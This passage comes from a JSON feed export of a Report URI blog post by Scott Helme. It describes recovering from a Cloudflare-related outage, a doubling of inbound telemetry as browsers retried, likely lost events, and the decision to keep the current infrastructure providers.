src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"997\" height=\"285\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png 997w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png\" class=\"kg-image\" alt=\"Report URI - outage update\" loading=\"lazy\" width=\"994\" height=\"282\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/global-telemetry.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png 994w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it's difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id=\"looking-forwards\">Looking forwards</h4><p>I've always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we've faced and the changes we've made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we're still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I'm not looking for service providers that promise to never have issues, I'm looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It's also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            }
          ]
        }
      ]
    }
    Analyze Another View with RSS.Style